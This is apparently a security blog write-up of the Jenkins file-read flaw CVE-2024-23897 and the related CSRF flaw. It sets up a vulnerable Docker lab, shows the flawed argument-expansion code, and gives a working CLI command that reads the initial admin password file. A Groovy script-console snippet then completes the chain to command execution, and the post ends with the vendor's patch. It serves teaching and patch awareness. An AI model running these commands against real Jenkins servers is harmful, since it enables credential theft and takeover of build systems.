Contents

Compromise Jenkins reading files CVE-2024-23897

💣 From a minor verbose error to full compromise

The origin

On January 25, 2024, researchers from Sonar published 2 vulnerabilities related to the leader in open-source continuous integration and continuous deployment (CI/CD) software: Jenkins.

Jenkins plays a central role in automating software development processes for a large part of the industry, holding about 44% market share in 2023. The potential impact of these vulnerabilities is therefore significant.

The most concerning flaw, identified as CVE-2024-23897, allows unauthenticated attackers to read limited data from arbitrary files and “read-only” authorized attackers to access an entire file on the Jenkins server.

Two vulnerabilities are explained:

  • The vulnerability CVE-2024-23897:
    • A CVSS score of 9.8/10 (quite concerning) 😮
    • An anonymous attacker can read a limited portion of local files.
  • The vulnerability CVE-2024-23898:
    • A CVSS score of 8.8/10
    • Allows an attacker to execute arbitrary CLI commands by enticing a victim to click on a malicious link (CSRF).

In short

The most problematic vulnerability is the first one: CVE-2024-23897

  • Unauthenticated attackers can read the first lines of local files present on the server.
  • Authenticated “read-only” attackers can access the entire files.
  • This vulnerability can be converted into RCE in several ways:
    • By reading files containing the default password
    • By elevating privileges to admin
    • By reading an SSH key
    • By retrieving secrets on the machine
    • Etc…

Jenkins provides other means to obtain direct command execution on its blog: https://www.jenkins.io/security/advisory/2024-01-24/

Exploitation

Exploiting the first vulnerability is quite straightforward.

Vulnerable docker

It’s possible to test with vulnerable versions via Docker.

1
2
docker pull jenkins/jenkins:2.440-jdk17
docker run  -p 8080:8080 jenkins/jenkins:2.440-jdk17

Environment

First, retrieve the Jenkins utility jenkins-cli.jar via command line.

1
wget http://localhost:8080/jnlpJars/jenkins-cli.jar

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-2.png

Vulnerable code

The code below details the vulnerable code.

The function checks if the argument starts with the @ character, and if so, reads the file at the path following the @ and creates a new argument for each line.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
private String[] expandAtFiles(String args[]) throws CmdLineException {
    List<String> result = new ArrayList<String>();
    for (String arg : args) {
        if (arg.startsWith("@")) {
            File file = new File(arg.substring(1));
            if (!file.exists())
                throw new CmdLineException(this,Messages.NO_SUCH_FILE,file.getPath());
            try {
                result.addAll(readAllLines(file));
            } catch (IOException ex) {
                throw new CmdLineException(this, "Failed to parse "+file,ex);
            }
        } else {
            result.add(arg);
        }
    }
    return result.toArray(new String[result.size()]);
}

This means that if an attacker can control an argument, they can extend it to a number of arguments from an arbitrary file on the Jenkins instance.

Hence, exploiting the expandAtFiles() function of arg4j displaying a verbose error when attempting to read the file is possible.

Arbitrary reading…

The command below allows an unauthenticated user to retrieve the first line of the file /var/jenkins_home/secrets/initialAdminPassword

1
java -jar jenkins-cli.jar -noCertificateCheck -s http://127.0.0.1:8080 who-am-i "@/var/jenkins_home/secrets/initialAdminPassword"

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-3.png

…to RCE

Thus, it’s possible to retrieve the default administrator password if it hasn’t been changed.

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-4.png

Then, it’s possible to log into /script to execute our commands.

/images/compromettre-jenkins-lecture-fichiers-CVE-2024-23897/jenkins-1.png

The code below allows the execution of the /bin/id command.

1
2
3
4
def proc = "id".execute();
def os = new StringBuffer();
proc.waitForProcessOutput(os, System.err);
println(os.toString());

To conclude, a demonstration is available just below!

The Jenkins security team has corrected CVE-2024-23897 by adding a secure configuration disabling the expandAtFiles feature.

The following line is removed:

1
    return new CmdLineParser(this);

And replaced by the following lines:

1
2
3
4
public static boolean ALLOW_AT_SYNTAX = SystemProperties.getBoolean(CLICommand.class.getName() + ".allowAtSyntax");
    // [...]
    ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
    return new CmdLineParser(this, properties);

The second vulnerability CVE-2024-23898, a direct consequence of the first, has been fixed by adding an origin check to the WebSocket mechanism.

Patch quickly !

Demonstration

Demonstration with the elements detailed above.

Sources